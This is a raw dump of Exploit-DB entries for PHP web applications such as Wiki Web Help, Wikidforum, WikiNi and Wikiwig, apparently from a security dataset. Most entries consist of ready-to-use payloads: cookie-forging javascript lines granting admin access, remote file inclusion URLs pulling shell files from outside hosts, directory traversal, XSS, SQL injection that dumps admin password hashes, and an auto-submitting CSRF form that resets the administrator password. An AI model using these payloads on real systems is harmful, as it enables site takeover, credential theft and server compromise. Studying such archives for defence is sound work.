deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7951
Description: WholeHogSoftware Ware Support - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-02-03
Author: Stack

Exploit:
###########################################################################
[+] WholeHogSoftware Ware Support Insecure Cookie Handling Vulnerability
[+] Script   :Ware Support
[+] Site     :http://wholehogsoftware.com
[+] Detay    :http://wholehogsoftware.com/index.php/page/ware_support
[+] Discovered By Mountassif Moad   
              
[+] www.v4-team.com            
       
[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "adminid=8; path=/";
DeMo :
http://www.wholehogsoftware.com/demo/support/admin/

# milw0rm.com [2009-02-03]
Exploit-DB #2624
Description: WiClear 0.10 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-23
Author: the master

Exploit:
########################################################################
#  wiclear v0.10  Remote File Inclusion Vulnerability
#
#  Download: http://wiclear.free.fr/download/wiclear-0.10.tgz
#
#  Found By: the master (nidhal)
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/admin/inc/prepend.inc.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/inc/lib/boxes.lib.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/inc/lib/tools.lib.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/tools/trackback/index.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/tools/utf8conversion/index.php?path=http://cmd.gif?
#  http://[Target]/[Path]/inc/prepend.inc.php?path=http://cmd.gif?
#  http://[Target]/[Path]/inc/lib/boxes.lib.php?path=http://cmd.gif?
#  http://[Target]/[Path]/inc/lib/history.lib.php?path=http://cmd.gif?
#
#
# Greetz: str0ke , Dr Max Virus , The Small Hacker , crack_man
########################################################################

# milw0rm.com [2006-10-23]
Exploit-DB #26715
Description: Widget Property 1.1.19 - 'Property.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15701/info

Widget Press Widget Property is prone to an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'property.php' script before using it in an SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Widget Property 1.1.19 is reportedly vulnerable. Other versions may be affected as well. 

http://www.example.com/property.php?action=property&property_id=[SQL]

http://www.example.com/property.php?action=search&city_id=&zip_code
=[SQL]&price=&property_type_id=1&submit=submit

http://www.example.com/property.php?action=search&city_id=&zip_code=
&price=75000&property_type_id=[SQL]&submit=submit

http://www.example.com/property.php?action=search&city_id=&zip_code=
&price=[SQL]&property_type_id=&submit=submit

http://www.example.com/property.php?action=search&city_id=[SQL]&zip_code=
&price=&property_type_id=&submit=submit
Exploit-DB #22282
Description: WihPhoto 0.86 dev - 'sendphoto.php' File Disclosure
Type: webapps
Platform: php
Date: 2003-02-24
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6929/info

A vulnerability has been reported for WihPhoto that may result in the disclosure of files to remote attackers.

The vulnerability exists due to inadequate verification of some URI parameters in the sendphoto.php script file.

An attacker can exploit this vulnerability and specify arbitrary files as the parameters to the variables. This will cause WihPhoto to send an email with the attacker-specified file as an attachment. 


http://www.example.org/sendphoto.php?album=..&pic=config.inc.php
http://www.example.org/sendphoto.php?album=..&pic=config.inc.php&sendto=[E-MAIL]&filled=1
Exploit-DB #31623
Description: Wikepage Opus 13 2007.2 - 'index.php' Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-07
Author: A.nosrati

Exploit:
source: https://www.securityfocus.com/bid/28664/info

Wikepage Opus is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the webserver process. Information obtained may aid in further attacks.

Wikepage Opus 13 2007.2 is affected; other versions may also be vulnerable.

http://www.example.com/wikepage/index.php?wiki=template=../../../../../../../../boot.ini  
http://www.example.com/wikepage/index.php?wiki=Admin=../../../../../../../../boot.ini
http://www.example.com/wikepage/index.php?wiki=Recent_changes=../../../../../../../../boot.ini
http://www.example.com/wikepage/index.php?wiki=Recent_changes=# %2e%2e%5c# %2e%2e%5c# %2e%2e%5c# %2e%2e%5c# %2e%2e%5c# %2e%2e%5c# %2e%2e%5c# %2e%2e%5c/boot.ini
http://www.example.com/wikepage/index.php?wiki=Recent_changes=..\..\..\..\..\..\..\..\WINDOWS\win.ini
Exploit-DB #31669
Description: Wikepage Opus 13 2007.2 - 'wiki' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-18
Author: Gerendi Sandor Attila

Exploit:
source: https://www.securityfocus.com/bid/28842/info

Wikepage Opus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Wikepage Opus 13 2007.2 is vulnerable; other versions may also be affected.

http://www.example.com/wikepage_2007_2/index.php?wiki=test%22%20onclick=%22alert(1)%22%20%20bla=%22
Exploit-DB #37694
Description: Wiki Web Help - 'configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-08-04
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/55387/info

Wiki Web Help is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Wiki Web Help 0.3.11 is vulnerable; other versions may also be affected. 

http://www.example.com/wwh/pages/links.php?configpath=http://www.example2.com/shell.txt?
Exploit-DB #34235
Description: Wiki Web Help 0.2.7 - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-07-01
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41306/info

Wiki Web Help is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code could run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Wiki Web Help 0.2.7 is vulnerable; other versions may also be affected. 

The following example URI and input are available:

Cross-site scripting:

http://www.example.com/revert.php?rev=%3Cscript%3Ealert(0)%3C/script%3E

HTML Injection:

<div onmouseover="alert(0)" style="margin:-500px;width:9999px;height:9999px;position:absolute;"></div>
Exploit-DB #20855
Description: Wiki Web Help 0.3.9 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-27
Author: Shai rod

Exploit:
# Exploit Title: Multiple Stored XSS Vulnerabilities in Wiki Web Help.
# Date: 23/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://wikiwebhelp.org
# Software Link: http://sourceforge.net/projects/wwh/files/wwh-0.3.9.7z/download
# Version: 0.3.9

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

AJAX based wiki designed to operate like a desktop help viewer(chm).


Vulnerability Description
=========================

1. Stored XSS in Edit Tags.

Steps to reproduce the issue:

1.1. Click "Edit Tags"
1.2. In the "Tags" field insert the Javascript payload: <img src='1.jpg'onerror=javascript:alert("XSS")>
1.3. Click the "Update" button. 


2. Stored XSS in Node Name.

Steps to reproduce the issue:

2.1. Right click on an object in the Contents tree on the left side of the page.
2.2. In the "Node Option" window select "Add".
2.3. In the "New Page Name" field insert the Javascript payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

* Both XSS will be triggered on all users visiting the Wiki.


3. Stored XSS in Page Body (href).

Steps to reproduce the issue:

3.1. Choose a Page.
3.2. Click "Edit".
3.2. In the Page editor insert: [javascript:alert(/XSS/),Click Me] 
3.3. Click the "Save" button.

XSS Will be triggerd once the user clicks on the link.
Exploit-DB #36948
Description: Wikidforum 2.10 - Advanced Search Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-12
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/52425/info
  
Wikidforum is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Wikidforum 2.10 is vulnerable; other versions may also be affected. 

Search-Field -> Advanced Search -> Author -> '"</script><script>alert(document.cookie)</script>
Search-Field -> Advanced Search -> POST-Parameter 'select_sort' -> ><iMg src=N onerror=alert(document.cookie)>
Exploit-DB #36946
Description: Wikidforum 2.10 - Advanced Search Multiple Field SQL Injections
Type: webapps
Platform: php
Date: 2012-03-12
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/52425/info

Wikidforum is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Wikidforum 2.10 is vulnerable; other versions may also be affected. 


Search-Field -> Advanced Search -> POST-Parameter 'select_sort' -> [sql-injection]
Search-Field -> Advanced Search -> POST-Parameter 'opt_search_select' -> [sql-injection]
Exploit-DB #36947
Description: Wikidforum 2.10 - Search Field Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-12
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/52425/info
 
Wikidforum is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Wikidforum 2.10 is vulnerable; other versions may also be affected. 

Search-Field -> '"</script><script>alert(document.cookie)</script>
Exploit-DB #45564
Description: Wikidforum 2.20 - 'select_sort' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-09
Author: seccops

Exploit:
# Exploit Title: Wikidforum 2.20 - 'select_sort' SQL Injection
# Date: 2018-10-08
# Exploit Author: Seccops - Siber Güvenlik Hizmetleri (https://seccops.com)
# Vendor Homepage: https://sourceforge.net/projects/wikidforum/
# Software Link: https://sourceforge.net/projects/wikidforum/files/Wikidforum-com-ed.2.20.zip/download
# Version: 2.20
# Tested on: Windows 10
# Vulnerability Type: SQL Injection
# CVE: -
 
# Vulnerable the POST parameter in search: select_sort
# HTTP Requests for SQLi Detection:
 
POST /Wikidforum-com-ed.2.20/wikidforum/index.php?action=search&mode=search HTTP/1.1
Host: localhost
Content-Length: 428
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: m_username=testuser; m_[CREDENTIAL_REDACTED]
Connection: close
 
txtsearch=3&opt_search_select=forum&txt_author=3&search_display_field%255b%255d=post_rate&select_sort=SQL_INJECTION
 
# Vulnerable the POST parameter in search: parent_post_id
# HTTP Requests for SQLi Detection:
 
GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=25&parent_post_id=SQL_INJECTION HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Cookie: m_username=testuser; m_[CREDENTIAL_REDACTED]
 
# Vulnerable the POST parameter in search: num_records
# HTTP Requests for SQLi Detection:
 
GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=SQL_INJECTION HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Cookie: m_username=testuser; m_[CREDENTIAL_REDACTED]
Exploit-DB #45580
Description: Wikidforum 2.20 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-11
Author: Amir Hossein Mahboubi

Exploit:
# Exploit Title: Wikidforum 2.20 - Cross-Site Scripting
# Date: 2018-10-10
# Exploit Author: Amir Hossein Mahboubi
# Vendor Homepage: https://sourceforge.net/projects/wikidforum/
# Software Link: https://sourceforge.net/projects/wikidforum/files/Wikidforum-com-ed.2.20.zip/download
# Version: <=2.20(Latest)
# Tested on: Linux & Windows

# Vulnerable POST parameter: reply_text
# HTTP Requests for injecting XSS as post comment:
# Pre condition: A loged in user can post comment, signup is possible for everyone

POST /test/exploit-db/wikidforum/rpc.php HTTP/1.1
Host: localhost:85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:85/test/exploit-db/wikidforum/faq_1/forum-setup_8/requirements-for-installing-wikidforum_2.html
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 250
Cookie: PHPSESSID=5cnpc1euun68t8st3c9p1dsal5
Connection: close
Pragma: no-cache
Cache-Control: no-cache
  
action=applications/post/rpc.php&mode=submit_reply&title=Re: Requirements for installing WikidForum&parent_post_id=2&category_id=8&last_order_id=1&reply_text=<p><img src="/test/exploit-db/wikidforum/uploads/amir.jpg" onerror="alert(1)" alt="6" /></p>
Exploit-DB #28846
Description: WikiNi 0.4.x - 'Waka.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2006-10-23
Author: Raphael Huck

Exploit:
source: https://www.securityfocus.com/bid/20688/info

WikiNi is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data before using it in dynamically generated content.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered, and launch other attacks.

WikiNi versions prior to 0.4.4 are vulnerable.

<form method="POST" enctype="application/x-www-form-urlencoded" action="http://www.example.com/wakka.php"> <input type="hidden" name="wiki" value="ParametresUtilisateur"> <input type="hidden" name="action" value="login"> <input type="hidden" name="name" value=">"><script>alert('XSS Vulnerable');</script>" <input type="submit" value="Submit" name="submit"> </form> </body> </html> <html> <body> <form method="POST" enctype="application/x-www-form-urlencoded" action="http://www.example.com/wakka.php"> <input type="hidden" name="wiki" value="ParametresUtilisateur"> <input type="hidden" name="action" value="login"> <input type="hidden" name="email" value=">"><script>alert('XSS Vulnerable');</script>" <input type="submit" value="Submit" name="submit"> </form> </body> </html>
Exploit-DB #35350
Description: Wikipad 1.6.0 - Cross-Site Scripting / HTML Injection / Information Disclosure
Type: webapps
Platform: php
Date: 2011-02-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46383/info

Wikipad is prone to a cross-site scripting vulnerability, an HTML-injection vulnerability, and an information-disclosure vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information.

Wikipad 1.6.0 is vulnerable; other versions may also be affected. 

Information-disclosure:

http://www.example.com/pages.php?id=./../../../../../txt_file

Cross-site scripting:

http://www.example.com/pages.php?id=index"><script>alert(document.cookie)</script>
http://www.example.com/pages.php?action=edit&id=27-01-2011"><script>alert(document.cookie)</script>

HTML-injection:

<form action="http://host/pages.php?action=edit&id=index&title=index" method="post" name="main">
<input type="hidden" name="data[text]" value=&#039;text"><script>alert(document.cookie)</script>&#039;>
</form>

<script>
document.main.submit();
</script>
Exploit-DB #3863
Description: Wikivi5 - 'show.php?sous_rep' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-06
Author: GoLd_M

Exploit:
# Wikivi5 Remote File Inclusion Vulnerability
# D.Script: http://wiki.vi5.org/fichiers/Wikivi5.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/handlers/page/show.php?sous_rep=Shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-06]
Exploit-DB #14217
Description: WikiWebHelp 0.28 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-05
Author: ADEO Security

Exploit:
# Version: v0.28 (Possible all versions)
# Vendor: Richard Bondi - http://wikiwebhelp.org
# Download: http://wikiwebhelp.org/release/wwh-0.2.8.zip

# Description: "The goal of this project is to create a help
application that is editable by the community. Standard wiki systems
are great for many applications. The help application and the wiki is
an ideal marriage. The problem with the standard wiki in a help
application is that it leaves you jumping around and does not have the
smooth flow that we have with a desktop chm type viewer. This project
aims to return that smooth flow to your wiki based help application."

# Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs
        - Mail: security[AT]adeo.com.tr
        - Web: http://security.adeo.com.tr

# Vulnerability:
In the file named as getpage.php user input don't used in single quotes.

handlers/getpage.php
---[snip]---
4	if($page==null) $page = $_GET['id'];

5	

6	$sql = "SELECT * FROM page INNER JOIN node ON
node.node_id=page.node_id WHERE node.node_id=$page";
---[snip]---

Its successfully exploitable. Please see # PoC section.

# PoC:
Request: http://server/handlers/getpage.php?id=9999999+UNION+SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7+FROM+user+LIMIT+1

Response: admin:21232f297a57a5a743894a0e4a801fc3
Exploit-DB #15239
Description: WikiWebHelp 0.3.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-10-12
Author: Yoyahack

Exploit:
#Blog: yoyahack.blogspot.com
#Site: foro.undersecurity.net
#Mail: yoyahack@undersecurity.net
#CMS: WikiWebHelp

The entire system is vulnerable to CSRF (Cross-site request forgery) since
this does not include a system to prevent CSRF attacks ...

Example

Change the password of users, including the administrator.

Exploit:

<form name="CSRF" method="post" action="
http://127.0.0.1/wwh/handlers/updateprofile.php?id=1">
<input type='hidden' name='pass' value='password'>
<input type='hidden' name='confirm' value='confirm_password'>
<input type='hidden' name='email' value='email'>
<input type='hidden' name='sub' value='on'>
<input type='hidden' name='id' value='1'>
<input type='hidden' name='subscribe' value='true'>
<script>document.CSRF.submit()</script>
Exploit-DB #15268
Description: WikiWebHelp 0.3.3 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2010-10-17
Author: FuRty

Exploit:
===============================================
WikiWebHelp v0.3.3 <= Insecure Cookie Handling
===============================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : FuRty
[~] Contact : fir4t@fir4t.org
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : WikiWebHelp
~Version : 0.3.3
~Software: http://sourceforge.net/projects/wwh/
~Vendor : http://wikiwebhelp.org
~Vulnerability Style : Cookie Handling
~Google Keyword : Powered by WikiWebHelp
[~]Date : "17.10.2010"
-----------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        ~~~~~~~~ Explotation ~~~~~~~~~~~
 
    Browser Injection for handling() by Javascript-SQLi Codes
    ================================
    Do not rush to primarily target the site, please register:)

    javascript:document.cookie="loggedon=[VictimNICK];path=/"; javascript:document.cookie="level=admin;path=/";
    ================================
          [+]  Cookie Browser Injected!
 
          [+]  Logged on 
          
          
          
     Ýyi þanslar :C / GoodLuck
Exploit-DB #1883
Description: Wikiwig 4.1 - 'wk_lang.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-06
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Wikiwig <= V4.1 Remote File Include Vulnerability
$$  Script site: http://wikiwig.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[wikiwig-V4.1]/_wk/wk_lang.php?WK[wkPath]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-06]